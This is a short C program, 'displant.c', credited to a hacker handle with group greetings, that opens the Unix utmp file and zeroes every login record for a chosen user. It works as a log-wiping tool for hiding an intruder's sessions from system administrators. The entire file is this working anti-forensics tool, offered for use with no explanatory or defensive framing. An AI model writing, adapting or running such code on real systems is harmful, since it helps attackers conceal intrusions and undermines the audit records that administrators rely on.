/*
 * displant.c - utmp removal tool
 *
 *    coded by fred_ | blasphemy
 *
 *    Greetings to all of gH
 *
 */

#include <stdio.h>
#include <string.h>
#include <utmp.h>

int
main(int argc, char *argv[])
{
  int count = 0;
  struct utmp utmp_entry;
  FILE *utmp_file;

  printf("displant.c by fred_ blasphemy\n");

  if (argc != 2) {
    printf("ex., %s <user>\n", argv[0]);
    exit(1);
    }

  utmp_file = fopen(_PATH_UTMP, "r+");
  if (utmp_file == NULL) {
    perror(_PATH_UTMP);
    exit(1);
    }

  while (fread((char *)&utmp_entry,
    sizeof(utmp_entry), 1, utmp_file) > 0) {
      if (strcmp(utmp_entry.ut_name,
        argv[1]) == 0) {
          fseek(utmp_file,
            -sizeof(utmp_entry), 1);
          bzero(&utmp_entry, sizeof(utmp_entry));
          fwrite((char *)&utmp_entry,
            sizeof(utmp_entry), 1,
            utmp_file);
          count++;
        }
    }
  fclose(utmp_file);

  if (count == 0) {
    printf("error: %s: no such user\n", argv[1]);
    return -1;
    }

  printf("Removed %d entrys which matched %s.\n",
    count, argv[1]);
  return 0;
}